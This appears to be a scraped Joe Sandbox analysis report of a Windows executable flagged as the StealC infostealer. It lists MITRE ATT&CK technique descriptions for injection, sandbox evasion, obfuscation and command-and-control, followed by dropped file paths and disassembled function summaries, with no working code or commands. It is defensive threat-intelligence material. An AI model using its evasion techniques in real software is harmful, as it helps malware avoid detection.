Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7Y18r(193).exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files\7-Zip\Uninstall.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_7Y18r(193).exe_904ebe8ba3e96d2d01f96708bde8f3cf5778cd4_17ee7a96_32e72f6e-ae3a-4a61-bf45-ec127ffb67c4\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_WuiXLS.exe_a22b3851192b317e0211b41e153fb28ae945_4c9ae75e_83cc07d0-134f-472c-b0c4-fd05e18d947a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8B5.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD9DF.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDA6C.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD97.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDDE6.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE25.tmp.xml

C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Windows Analysis Report
7Y18r(193).exe

Function 00412180 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 007BA044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Function 00410360 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67
timeCOMMON

Function 004107D0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Function 00410790 Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Function 008E5D77 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 00410430 Relevance: 12.1, APIs: 8, Instructions: 94
COMMON

Function 0089003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 00410544 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 004010B0 Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Function 00890E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 00401040 Relevance: 2.5, APIs: 2, Instructions: 41
memoryCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre